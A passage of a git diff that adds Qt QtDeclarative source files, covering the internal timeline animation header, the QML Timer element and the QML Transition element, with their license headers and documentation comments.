+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETIMELINE_H
+#define QDECLARATIVETIMELINE_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/QObject>
+#include <QtCore/QAbstractAnimation>
+
+QT_BEGIN_NAMESPACE
+
+class QEasingCurve;
+class QDeclarativeTimeLineValue;
+class QDeclarativeTimeLineCallback;
+struct QDeclarativeTimeLinePrivate;
+class QDeclarativeTimeLineObject;
+class Q_AUTOTEST_EXPORT QDeclarativeTimeLine : public QAbstractAnimation
+{
+Q_OBJECT
+public:
+ QDeclarativeTimeLine(QObject *parent = 0);
+ ~QDeclarativeTimeLine();
+
+ enum SyncMode { LocalSync, GlobalSync };
+ SyncMode syncMode() const;
+ void setSyncMode(SyncMode);
+
+ void pause(QDeclarativeTimeLineObject &, int);
+ void callback(const QDeclarativeTimeLineCallback &);
+ void set(QDeclarativeTimeLineValue &, qreal);
+
+ int accel(QDeclarativeTimeLineValue &, qreal velocity, qreal accel);
+ int accel(QDeclarativeTimeLineValue &, qreal velocity, qreal accel, qreal maxDistance);
+ int accelDistance(QDeclarativeTimeLineValue &, qreal velocity, qreal distance);
+
+ void move(QDeclarativeTimeLineValue &, qreal destination, int time = 500);
+ void move(QDeclarativeTimeLineValue &, qreal destination, const QEasingCurve &, int time = 500);
+ void moveBy(QDeclarativeTimeLineValue &, qreal change, int time = 500);
+ void moveBy(QDeclarativeTimeLineValue &, qreal change, const QEasingCurve &, int time = 500);
+
+ void sync();
+ void setSyncPoint(int);
+ int syncPoint() const;
+
+ void sync(QDeclarativeTimeLineValue &);
+ void sync(QDeclarativeTimeLineValue &, QDeclarativeTimeLineValue &);
+
+ void reset(QDeclarativeTimeLineValue &);
+
+ void complete();
+ void clear();
+ bool isActive() const;
+
+ int time() const;
+
+ virtual int duration() const;
+Q_SIGNALS:
+ void updated();
+ void completed();
+
+protected:
+ virtual void updateCurrentTime(int);
+
+private:
+ void remove(QDeclarativeTimeLineObject *);
+ friend class QDeclarativeTimeLineObject;
+ friend struct QDeclarativeTimeLinePrivate;
+ QDeclarativeTimeLinePrivate *d;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeTimeLineObject
+{
+public:
+ QDeclarativeTimeLineObject();
+ virtual ~QDeclarativeTimeLineObject();
+
+protected:
+ friend class QDeclarativeTimeLine;
+ friend struct QDeclarativeTimeLinePrivate;
+ QDeclarativeTimeLine *_t;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeTimeLineValue : public QDeclarativeTimeLineObject
+{
+public:
+ QDeclarativeTimeLineValue(qreal v = 0.) : _v(v) {}
+
+ virtual qreal value() const { return _v; }
+ virtual void setValue(qreal v) { _v = v; }
+
+ QDeclarativeTimeLine *timeLine() const { return _t; }
+
+ operator qreal() const { return _v; }
+ QDeclarativeTimeLineValue &operator=(qreal v) { setValue(v); return *this; }
+private:
+ friend class QDeclarativeTimeLine;
+ friend struct QDeclarativeTimeLinePrivate;
+ qreal _v;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeTimeLineCallback
+{
+public:
+ typedef void (*Callback)(void *);
+
+ QDeclarativeTimeLineCallback();
+ QDeclarativeTimeLineCallback(QDeclarativeTimeLineObject *b, Callback, void * = 0);
+ QDeclarativeTimeLineCallback(const QDeclarativeTimeLineCallback &o);
+
+ QDeclarativeTimeLineCallback &operator=(const QDeclarativeTimeLineCallback &o);
+ QDeclarativeTimeLineObject *callbackObject() const;
+
+private:
+ friend struct QDeclarativeTimeLinePrivate;
+ Callback d0;
+ void *d1;
+ QDeclarativeTimeLineObject *d2;
+};
+
+template<class T>
+class QDeclarativeTimeLineValueProxy : public QDeclarativeTimeLineValue
+{
+public:
+ QDeclarativeTimeLineValueProxy(T *cls, void (T::*func)(qreal), qreal v = 0.)
+ : QDeclarativeTimeLineValue(v), _class(cls), _setFunctionReal(func), _setFunctionInt(0)
+ {
+ Q_ASSERT(_class);
+ }
+
+ QDeclarativeTimeLineValueProxy(T *cls, void (T::*func)(int), qreal v = 0.)
+ : QDeclarativeTimeLineValue(v), _class(cls), _setFunctionReal(0), _setFunctionInt(func)
+ {
+ Q_ASSERT(_class);
+ }
+
+ virtual void setValue(qreal v)
+ {
+ QDeclarativeTimeLineValue::setValue(v);
+ if (_setFunctionReal) (_class->*_setFunctionReal)(v);
+ else if (_setFunctionInt) (_class->*_setFunctionInt)((int)v);
+ }
+
+private:
+ T *_class;
+ void (T::*_setFunctionReal)(qreal);
+ void (T::*_setFunctionInt)(int);
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/util/qdeclarativetimer.cpp b/src/declarative/util/qdeclarativetimer.cpp
new file mode 100644
index 00000000..8250809c
--- /dev/null
+++ b/src/declarative/util/qdeclarativetimer.cpp
@@ -0,0 +1,324 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetimer_p.h"
+
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qpauseanimation.h>
+#include <qdebug.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+
+
+class QDeclarativeTimerPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeTimer)
+public:
+ QDeclarativeTimerPrivate()
+ : interval(1000), running(false), repeating(false), triggeredOnStart(false)
+ , classBegun(false), componentComplete(false), firstTick(true) {}
+ int interval;
+ QPauseAnimation pause;
+ bool running : 1;
+ bool repeating : 1;
+ bool triggeredOnStart : 1;
+ bool classBegun : 1;
+ bool componentComplete : 1;
+ bool firstTick : 1;
+};
+
+/*!
+ \qmlclass Timer QDeclarativeTimer
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief The Timer item triggers a handler at a specified interval.
+
+ A Timer can be used to trigger an action either once, or repeatedly
+ at a given interval.
+
+ Here is a Timer that shows the current date and time, and updates
+ the text every 500 milliseconds. It uses the JavaScript \c Date
+ object to access the current time.
+
+ \qml
+ import QtQuick 1.0
+
+ Item {
+ Timer {
+ interval: 500; running: true; repeat: true
+ onTriggered: time.text = Date().toString()
+ }
+
+ Text { id: time }
+ }
+ \endqml
+
+ The Timer element is synchronized with the animation timer. Since the animation
+ timer is usually set to 60fps, the resolution of Timer will be
+ at best 16ms.
+
+ If the Timer is running and one of its properties is changed, the
+ elapsed time will be reset. For example, if a Timer with interval of
+ 1000ms has its \e repeat property changed 500ms after starting, the
+ elapsed time will be reset to 0, and the Timer will be triggered
+ 1000ms later.
+
+ \sa {declarative/toys/clocks}{Clocks example}
+*/
+
+QDeclarativeTimer::QDeclarativeTimer(QObject *parent)
+ : QObject(*(new QDeclarativeTimerPrivate), parent)
+{
+ Q_D(QDeclarativeTimer);
+ connect(&d->pause, SIGNAL(currentLoopChanged(int)), this, SLOT(ticked()));
+ connect(&d->pause, SIGNAL(finished()), this, SLOT(finished()));
+ d->pause.setLoopCount(1);
+ d->pause.setDuration(d->interval);
+}
+
+/*!
+ \qmlproperty int Timer::interval
+
+ Sets the \a interval between triggers, in milliseconds.
+
+ The default interval is 1000 milliseconds.
+*/
+void QDeclarativeTimer::setInterval(int interval)
+{
+ Q_D(QDeclarativeTimer);
+ if (interval != d->interval) {
+ d->interval = interval;
+ update();
+ emit intervalChanged();
+ }
+}
+
+int QDeclarativeTimer::interval() const
+{
+ Q_D(const QDeclarativeTimer);
+ return d->interval;
+}
+
+/*!
+ \qmlproperty bool Timer::running
+
+ If set to true, starts the timer; otherwise stops the timer.
+ For a non-repeating timer, \a running is set to false after the
+ timer has been triggered.
+
+ \a running defaults to false.
+
+ \sa repeat
+*/
+bool QDeclarativeTimer::isRunning() const
+{
+ Q_D(const QDeclarativeTimer);
+ return d->running;
+}
+
+void QDeclarativeTimer::setRunning(bool running)
+{
+ Q_D(QDeclarativeTimer);
+ if (d->running != running) {
+ d->running = running;
+ d->firstTick = true;
+ emit runningChanged();
+ update();
+ }
+}
+
+/*!
+ \qmlproperty bool Timer::repeat
+
+ If \a repeat is true the timer is triggered repeatedly at the
+ specified interval; otherwise, the timer will trigger once at the
+ specified interval and then stop (i.e. running will be set to false).
+
+ \a repeat defaults to false.
+
+ \sa running
+*/
+bool QDeclarativeTimer::isRepeating() const
+{
+ Q_D(const QDeclarativeTimer);
+ return d->repeating;
+}
+
+void QDeclarativeTimer::setRepeating(bool repeating)
+{
+ Q_D(QDeclarativeTimer);
+ if (repeating != d->repeating) {
+ d->repeating = repeating;
+ update();
+ emit repeatChanged();
+ }
+}
+
+/*!
+ \qmlproperty bool Timer::triggeredOnStart
+
+ When a timer is started, the first trigger is usually after the specified
+ interval has elapsed. It is sometimes desirable to trigger immediately
+ when the timer is started; for example, to establish an initial
+ state.
+
+ If \a triggeredOnStart is true, the timer is triggered immediately
+ when started, and subsequently at the specified interval. Note that if
+ \e repeat is set to false, the timer is triggered twice; once on start,
+ and again at the interval.
+
+ \a triggeredOnStart defaults to false.
+
+ \sa running
+*/
+bool QDeclarativeTimer::triggeredOnStart() const
+{
+ Q_D(const QDeclarativeTimer);
+ return d->triggeredOnStart;
+}
+
+void QDeclarativeTimer::setTriggeredOnStart(bool triggeredOnStart)
+{
+ Q_D(QDeclarativeTimer);
+ if (d->triggeredOnStart != triggeredOnStart) {
+ d->triggeredOnStart = triggeredOnStart;
+ update();
+ emit triggeredOnStartChanged();
+ }
+}
+
+/*!
+ \qmlmethod Timer::start()
+ \brief Starts the timer.
+
+ If the timer is already running, calling this method has no effect. The
+ \c running property will be true following a call to \c start().
+*/
+void QDeclarativeTimer::start()
+{
+ setRunning(true);
+}
+
+/*!
+ \qmlmethod Timer::stop()
+ \brief Stops the timer.
+
+ If the timer is not running, calling this method has no effect. The
+ \c running property will be false following a call to \c stop().
+*/
+void QDeclarativeTimer::stop()
+{
+ setRunning(false);
+}
+
+/*!
+ \qmlmethod Timer::restart()
+ \brief Restarts the timer.
+
+ If the Timer is not running it will be started, otherwise it will be
+ stopped, reset to initial state and started. The \c running property
+ will be true following a call to \c restart().
+*/
+void QDeclarativeTimer::restart()
+{
+ setRunning(false);
+ setRunning(true);
+}
+
+void QDeclarativeTimer::update()
+{
+ Q_D(QDeclarativeTimer);
+ if (d->classBegun && !d->componentComplete)
+ return;
+ d->pause.stop();
+ if (d->running) {
+ d->pause.setCurrentTime(0);
+ d->pause.setLoopCount(d->repeating ? -1 : 1);
+ d->pause.setDuration(d->interval);
+ d->pause.start();
+ if (d->triggeredOnStart && d->firstTick) {
+ QCoreApplication::removePostedEvents(this, QEvent::MetaCall);
+ QMetaObject::invokeMethod(this, "ticked", Qt::QueuedConnection);
+ }
+ }
+}
+
+void QDeclarativeTimer::classBegin()
+{
+ Q_D(QDeclarativeTimer);
+ d->classBegun = true;
+}
+
+void QDeclarativeTimer::componentComplete()
+{
+ Q_D(QDeclarativeTimer);
+ d->componentComplete = true;
+ update();
+}
+
+/*!
+ \qmlsignal Timer::onTriggered()
+
+ This handler is called when the Timer is triggered.
+*/
+void QDeclarativeTimer::ticked()
+{
+ Q_D(QDeclarativeTimer);
+ if (d->running && (d->pause.currentTime() > 0 || (d->triggeredOnStart && d->firstTick)))
+ emit triggered();
+ d->firstTick = false;
+}
+
+void QDeclarativeTimer::finished()
+{
+ Q_D(QDeclarativeTimer);
+ if (d->repeating || !d->running)
+ return;
+ emit triggered();
+ d->running = false;
+ d->firstTick = false;
+ emit runningChanged();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativetimer_p.h b/src/declarative/util/qdeclarativetimer_p.h
new file mode 100644
index 00000000..f7b30a85
--- /dev/null
+++ b/src/declarative/util/qdeclarativetimer_p.h
@@ -0,0 +1,115 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETIMER_H
+#define QDECLARATIVETIMER_H
+
+#include <qdeclarative.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qabstractanimation.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeTimerPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeTimer : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeTimer)
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_PROPERTY(int interval READ interval WRITE setInterval NOTIFY intervalChanged)
+ Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged)
+ Q_PROPERTY(bool repeat READ isRepeating WRITE setRepeating NOTIFY repeatChanged)
+ Q_PROPERTY(bool triggeredOnStart READ triggeredOnStart WRITE setTriggeredOnStart NOTIFY triggeredOnStartChanged)
+ Q_PROPERTY(QObject *parent READ parent CONSTANT)
+
+public:
+ QDeclarativeTimer(QObject *parent=0);
+
+ void setInterval(int interval);
+ int interval() const;
+
+ bool isRunning() const;
+ void setRunning(bool running);
+
+ bool isRepeating() const;
+ void setRepeating(bool repeating);
+
+ bool triggeredOnStart() const;
+ void setTriggeredOnStart(bool triggeredOnStart);
+
+protected:
+ void classBegin();
+ void componentComplete();
+
+public Q_SLOTS:
+ void start();
+ void stop();
+ void restart();
+
+Q_SIGNALS:
+ void triggered();
+ void runningChanged();
+ void intervalChanged();
+ void repeatChanged();
+ void triggeredOnStartChanged();
+
+private:
+ void update();
+
+private Q_SLOTS:
+ void ticked();
+ void finished();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeTimer)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp
new file mode 100644
index 00000000..c3003087
--- /dev/null
+++ b/src/declarative/util/qdeclarativetransition.cpp
@@ -0,0 +1,345 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativestate_p.h"
+#include "private/qdeclarativestategroup_p.h"
+#include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativestateoperations_p.h"
+#include "private/qdeclarativeanimation_p.h"
+#include "private/qdeclarativeanimation_p_p.h"
+#include "private/qdeclarativetransitionmanager_p_p.h"
+
+#include <QParallelAnimationGroup>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass Transition QDeclarativeTransition
+ \ingroup qml-animation-transition
+ \since 4.7
+ \brief The Transition element defines animated transitions that occur on state changes.
+
+ A Transition defines the animations to be applied when a \l State change occurs.
+
+ For example, the following \l Rectangle has two states: the default state, and
+ an added "moved" state. In the "moved state, the rectangle's position changes
+ to (50, 50). The added Transition specifies that when the rectangle
+ changes between the default and the "moved" state, any changes
+ to the \c x and \c y properties should be animated, using an \c Easing.InOutQuad.
+
+ \snippet doc/src/snippets/declarative/transition.qml 0
+
+ Notice the example does not require \l{PropertyAnimation::}{to} and
+ \l{PropertyAnimation::}{from} values for the NumberAnimation. As a convenience,
+ these properties are automatically set to the values of \c x and \c y before
+ and after the state change; the \c from values are provided by
+ the current values of \c x and \c y, and the \c to values are provided by
+ the PropertyChanges object. If you wish, you can provide \l{PropertyAnimation::}{to} and
+ \l{PropertyAnimation::}{from} values anyway to override the default values.
+
+ By default, a Transition's animations are applied for any state change in the
+ parent item. The Transition \l {Transition::}{from} and \l {Transition::}{to}
+ values can be set to restrict the animations to only be applied when changing
+ from one particular state to another.
+
+ To define multiple transitions, specify \l Item::transitions as a list:
+
+ \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions
+
+ If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular
+ state change. In the example above, when changing to \c state1, the first transition will be used, rather
+ than the more generic second transition.
+
+ If a state change has a Transition that matches the same property as a
+ \l Behavior, the Transition animation overrides the \l Behavior for that
+ state change.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/states}{states example}, {qmlstates}{States}, {QtDeclarative}
+*/
+
+//ParallelAnimationWrapper allows us to do a "callback" when the animation finishes, rather than connecting
+//and disconnecting signals and slots frequently
+class ParallelAnimationWrapper : public QParallelAnimationGroup
+{
+ Q_OBJECT
+public:
+ ParallelAnimationWrapper(QObject *parent = 0) : QParallelAnimationGroup(parent) {}
+ QDeclarativeTransitionPrivate *trans;
+protected:
+ virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState);
+};
+
+class QDeclarativeTransitionPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeTransition)
+public:
+ QDeclarativeTransitionPrivate()
+ : fromState(QLatin1String("*")), toState(QLatin1String("*")),
+ reversed(false), reversible(false), endState(0)
+ {
+ group.trans = this;
+ }
+
+ QString fromState;
+ QString toState;
+ bool reversed;
+ bool reversible;
+ ParallelAnimationWrapper group;
+ QDeclarativeTransitionManager *endState;
+
+ void complete()
+ {
+ endState->complete();
+ }
+ static void append_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, QDeclarativeAbstractAnimation *a);
+ static int animation_count(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list);
+ static QDeclarativeAbstractAnimation* animation_at(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, int pos);
+ static void clear_animations(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list);
+ QList<QDeclarativeAbstractAnimation *> animations;
+};
+
+void QDeclarativeTransitionPrivate::append_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, QDeclarativeAbstractAnimation *a)
+{
+ QDeclarativeTransition *q = static_cast<QDeclarativeTransition *>(list->object);
+ q->d_func()->animations.append(a);
+ q->d_func()->group.addAnimation(a->qtAnimation());
+ a->setDisableUserControl();
+}
+
+int QDeclarativeTransitionPrivate::animation_count(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list)
+{
+ QDeclarativeTransition *q = static_cast<QDeclarativeTransition *>(list->object);
+ return q->d_func()->animations.count();
+}
+
+QDeclarativeAbstractAnimation* QDeclarativeTransitionPrivate::animation_at(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, int pos)
+{
+ QDeclarativeTransition *q = static_cast<QDeclarativeTransition *>(list->object);
+ return q->d_func()->animations.at(pos);
+}
+
+void QDeclarativeTransitionPrivate::clear_animations(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list)
+{
+ QDeclarativeTransition *q = static_cast<QDeclarativeTransition *>(list->object);
+ while (q->d_func()->animations.count()) {
+ QDeclarativeAbstractAnimation *firstAnim = q->d_func()->animations.at(0);
+ q->d_func()->group.removeAnimation(firstAnim->qtAnimation());
+ q->d_func()->animations.removeAll(firstAnim);
+ }
+}
+
+void ParallelAnimationWrapper::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState)
+{
+ QParallelAnimationGroup::updateState(newState, oldState);
+ if (newState == Stopped && (duration() == -1
+ || (direction() == QAbstractAnimation::Forward && currentLoopTime() == duration())
+ || (direction() == QAbstractAnimation::Backward && currentLoopTime() == 0)))
+ {
+ trans->complete();
+ }
+}
+
+
+
+QDeclarativeTransition::QDeclarativeTransition(QObject *parent)
+ : QObject(*(new QDeclarativeTransitionPrivate), parent)
+{
+}
+
+QDeclarativeTransition::~QDeclarativeTransition()
+{
+}
+
+void QDeclarativeTransition::stop()
+{
+ Q_D(QDeclarativeTransition);
+ d->group.stop();
+}
+
+void QDeclarativeTransition::setReversed(bool r)
+{
+ Q_D(QDeclarativeTransition);
+ d->reversed = r;
+}
+
+void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &actions,
+ QList<QDeclarativeProperty> &after,
+ QDeclarativeTransitionManager *endState)
+{
+ Q_D(QDeclarativeTransition);
+
+ qmlExecuteDeferred(this);
+
+ if (d->reversed) {
+ for (int ii = d->animations.count() - 1; ii >= 0; --ii) {
+ d->animations.at(ii)->transition(actions, after, QDeclarativeAbstractAnimation::Backward);
+ }
+ } else {
+ for (int ii = 0; ii < d->animations.count(); ++ii) {
+ d->animations.at(ii)->transition(actions, after, QDeclarativeAbstractAnimation::Forward);
+ }
+ }
+
+ d->endState = endState;
+ d->group.setDirection(d->reversed ? QAbstractAnimation::Backward : QAbstractAnimation::Forward);
+ d->group.start();
+}
+
+/*!
+ \qmlproperty string Transition::from
+ \qmlproperty string Transition::to
+
+ These properties indicate the state changes that trigger the transition.
+
+ The default values for these properties is "*" (that is, any state).
+
+ For example, the following transition has not set the \c to and \c from
+ properties, so the animation is always applied when changing between
+ the two states (i.e. when the mouse is pressed and released).
+
+ \snippet doc/src/snippets/declarative/transition-from-to.qml 0
+
+ If the transition was changed to this:
+
+ \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition
+
+ The animation would only be applied when changing from the default state to
+ the "brighter" state (i.e. when the mouse is pressed, but not on release).
+
+ \sa reversible
+*/
+QString QDeclarativeTransition::fromState() const
+{
+ Q_D(const QDeclarativeTransition);
+ return d->fromState;
+}
+
+void QDeclarativeTransition::setFromState(const QString &f)
+{
+ Q_D(QDeclarativeTransition);
+ if (f == d->fromState)
+ return;
+
+ d->fromState = f;
+ emit fromChanged();
+}
+
+/*!
+ \qmlproperty bool Transition::reversible
+ This property holds whether the transition should be automatically reversed when the conditions that triggered this transition are reversed.
+
+ The default value is false.
+
+ By default, transitions run in parallel and are applied to all state
+ changes if the \l from and \l to states have not been set. In this
+ situation, the transition is automatically applied when a state change
+ is reversed, and it is not necessary to set this property to reverse
+ the transition.
+
+ However, if a SequentialAnimation is used, or if the \l from or \l to
+ properties have been set, this property will need to be set to reverse
+ a transition when a state change is reverted. For example, the following
+ transition applies a sequential animation when the mouse is pressed,
+ and reverses the sequence of the animation when the mouse is released:
+
+ \snippet doc/src/snippets/declarative/transition-reversible.qml 0
+
+ If the transition did not set the \c to and \c reversible values, then
+ on the mouse release, the transition would play the PropertyAnimation
+ before the ColorAnimation instead of reversing the sequence.
+*/
+bool QDeclarativeTransition::reversible() const
+{
+ Q_D(const QDeclarativeTransition);
+ return d->reversible;
+}
+
+void QDeclarativeTransition::setReversible(bool r)
+{
+ Q_D(QDeclarativeTransition);
+ if (r == d->reversible)
+ return;
+
+ d->reversible = r;
+ emit reversibleChanged();
+}
+
+QString QDeclarativeTransition::toState() const
+{
+ Q_D(const QDeclarativeTransition);
+ return d->toState;
+}
+
+void QDeclarativeTransition::setToState(const QString &t)
+{
+ Q_D(QDeclarativeTransition);
+ if (t == d->toState)
+ return;
+
+ d->toState = t;
+ emit toChanged();
+}
+
+/*!
+ \qmlproperty list<Animation> Transition::animations
+ \default
+
+ This property holds a list of the animations to be run for this transition.
+
+ \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions
+
+ The top-level animations are run in parallel. To run them sequentially,
+ define them within a SequentialAnimation:
+
+ \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations
+*/
+QDeclarativeListProperty<QDeclarativeAbstractAnimation> QDeclarativeTransition::animations()
+{
+ Q_D(QDeclarativeTransition);
+ return QDeclarativeListProperty<QDeclarativeAbstractAnimation>(this, &d->animations, QDeclarativeTransitionPrivate::append_animation,
+ QDeclarativeTransitionPrivate::animation_count,
+ QDeclarativeTransitionPrivate::animation_at,
+ QDeclarativeTransitionPrivate::clear_animations);
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativetransition.moc>
diff --git a/src/declarative/util/qdeclarativetransition_p.h b/src/declarative/util/qdeclarativetransition_p.h
new file mode 100644
index 00000000..6b84c0fd
--- /dev/null
+++ b/src/declarative/util/qdeclarativetransition_p.h
@@ -0,0 +1,106 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETRANSITION_H
+#define QDECLARATIVETRANSITION_H
+
+#include "private/qdeclarativestate_p.h"
+
+#include <qdeclarative.h>
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeAbstractAnimation;
+class QDeclarativeTransitionPrivate;
+class QDeclarativeTransitionManager;
+class Q_DECLARATIVE_EXPORT QDeclarativeTransition : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeTransition)
+
+ Q_PROPERTY(QString from READ fromState WRITE setFromState NOTIFY fromChanged)
+ Q_PROPERTY(QString to READ toState WRITE setToState NOTIFY toChanged)
